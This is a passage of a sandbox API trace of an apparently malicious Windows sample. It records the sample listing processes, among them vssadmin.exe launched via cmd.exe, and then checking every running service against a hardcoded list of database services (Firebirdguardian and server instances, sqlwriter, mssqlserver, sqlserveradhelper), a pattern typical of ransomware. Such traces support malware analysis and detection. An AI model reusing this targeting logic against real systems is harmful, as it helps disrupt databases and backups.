hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0061.275] lstrlenW (lpString="anti.exe") returned 8 [0061.275] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0061.276] lstrlenW (lpString="cashiersshot.exe") returned 16 [0061.276] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0061.276] lstrlenW (lpString="poundfi.exe") returned 11 [0061.277] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0061.277] lstrlenW (lpString="conditions_hired.exe") returned 20 [0061.277] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0061.277] lstrlenW (lpString="mercedes.exe") returned 12 [0061.277] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0061.578] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0061.578] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0061.579] lstrlenW (lpString="training_wiring.exe") returned 19 [0061.579] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0061.579] lstrlenW (lpString="democratic.exe") returned 14 [0061.579] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0061.580] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0061.580] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0061.580] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0061.580] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0061.581] lstrlenW (lpString="documented.exe") returned 14 [0061.581] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.581] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0061.581] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0061.582] lstrlenW (lpString="n.exe") returned 5 [0061.582] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.582] lstrlenW (lpString="cmd.exe") returned 7 [0061.582] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.583] lstrlenW (lpString="conhost.exe") returned 11 [0061.583] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0061.583] lstrlenW (lpString="vssadmin.exe") returned 12 [0061.583] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0061.584] lstrlenW (lpString="VSSVC.exe") returned 9 [0061.584] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.584] lstrlenW (lpString="svchost.exe") returned 11 [0061.584] Process32NextW (in: hSnapshot=0x230, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0061.585] CloseHandle (hObject=0x230) returned 1 [0061.585] Sleep (dwMilliseconds=0x1f4) [0062.413] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7b26e8 [0062.413] EnumServicesStatusExW (in: hSCManager=0x7b26e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0062.413] GetLastError () returned 0xea [0062.414] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12c6) returned 0x4023080 [0062.414] EnumServicesStatusExW (in: hSCManager=0x7b26e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x12c6, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0062.414] CloseServiceHandle (hSCObject=0x7b26e8) returned 1 [0062.414] lstrlenW (lpString="Appinfo") returned 7 [0062.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0062.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0062.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0062.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0062.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0062.415] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0062.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.415] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0062.415] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0062.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0062.415] lstrlenW (lpString="AudioSrv") returned 8 [0062.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0062.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0062.415] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0062.415] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0062.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0062.415] lstrlenW (lpString="BFE") returned 3 [0062.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0062.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0062.415] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0062.415] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0062.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0062.415] lstrlenW (lpString="CryptSvc") returned 8 [0062.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0062.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0062.415] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0062.415] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0062.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0062.415] lstrlenW (lpString="CscService") returned 10 [0062.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0062.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0062.415] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0062.415] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0062.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0062.416] lstrlenW (lpString="DcomLaunch") returned 10 [0062.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.416] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0062.416] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0062.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0062.416] lstrlenW (lpString="Dhcp") returned 4 [0062.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0062.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0062.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0062.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0062.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0062.416] lstrlenW (lpString="Dnscache") returned 8 [0062.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0062.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0062.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0062.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0062.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0062.416] lstrlenW (lpString="DPS") returned 3 [0062.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0062.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0062.416] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0062.416] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0062.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0062.416] lstrlenW (lpString="eventlog") returned 8 [0062.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0062.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0062.416] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0062.417] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0062.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0062.417] lstrlenW (lpString="EventSystem") returned 11 [0062.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0062.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0062.417] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0062.417] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0062.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0062.417] lstrlenW (lpString="gpsvc") returned 5 [0062.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0062.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0062.417] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0062.417] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0062.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0062.417] lstrlenW (lpString="iphlpsvc") returned 8 [0062.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.417] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0062.417] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0062.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0062.417] lstrlenW (lpString="LanmanServer") returned 12 [0062.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0062.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0062.417] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0062.417] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0062.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0062.417] lstrlenW (lpString="LanmanWorkstation") returned 17 [0062.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.418] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0062.418] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0062.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0062.418] lstrlenW (lpString="lmhosts") returned 7 [0062.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0062.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0062.418] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0062.418] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0062.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0062.418] lstrlenW (lpString="MMCSS") returned 5 [0062.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0062.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0062.418] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0062.418] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0062.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0062.418] lstrlenW (lpString="MpsSvc") returned 6 [0062.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0062.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0062.418] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0062.418] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0062.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0062.418] lstrlenW (lpString="Netman") returned 6 [0062.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0062.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0062.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0062.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0062.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0062.418] lstrlenW (lpString="netprofm") returned 8 [0062.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0062.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0062.418] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0062.418] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0062.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0062.419] lstrlenW (lpString="NlaSvc") returned 6 [0062.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0062.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0062.419] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0062.419] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0062.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0062.419] lstrlenW (lpString="nsi") returned 3 [0062.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0062.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0062.419] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0062.419] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0062.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0062.419] lstrlenW (lpString="PcaSvc") returned 6 [0062.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0062.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0062.419] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0062.419] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0062.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0062.419] lstrlenW (lpString="PlugPlay") returned 8 [0062.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0062.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0062.419] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0062.419] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0062.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0062.419] lstrlenW (lpString="Power") returned 5 [0062.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0062.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0062.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0062.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0062.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0062.419] lstrlenW (lpString="ProfSvc") returned 7 [0062.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0062.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0062.419] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0062.420] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0062.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0062.420] lstrlenW (lpString="RpcEptMapper") returned 12 [0062.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.420] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0062.420] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0062.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0062.420] lstrlenW (lpString="RpcSs") returned 5 [0062.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0062.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0062.420] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0062.420] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0062.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0062.420] lstrlenW (lpString="SamSs") returned 5 [0062.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0062.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0062.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0062.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0062.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0062.420] lstrlenW (lpString="Schedule") returned 8 [0062.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0062.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0062.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0062.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0062.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0062.420] lstrlenW (lpString="SENS") returned 4 [0062.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0062.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0062.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0062.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0062.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0062.420] lstrlenW (lpString="ShellHWDetection") returned 16 [0062.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.421] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0062.421] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0062.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0062.421] lstrlenW (lpString="Spooler") returned 7 [0062.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0062.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0062.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0062.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0062.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0062.421] lstrlenW (lpString="swprv") returned 5 [0062.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0062.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0062.421] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0062.421] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0062.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0062.421] lstrlenW (lpString="SysMain") returned 7 [0062.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0062.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0062.421] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0062.421] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0062.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0062.421] lstrlenW (lpString="Themes") returned 6 [0062.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0062.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0062.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0062.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0062.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0062.421] lstrlenW (lpString="TrkWks") returned 6 [0062.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0062.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0062.421] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0062.421] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0062.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0062.421] lstrlenW (lpString="UxSms") returned 5 [0062.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0062.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0062.422] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0062.422] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0062.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0062.422] lstrlenW (lpString="VSS") returned 3 [0062.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0062.422] lstrcmpiW 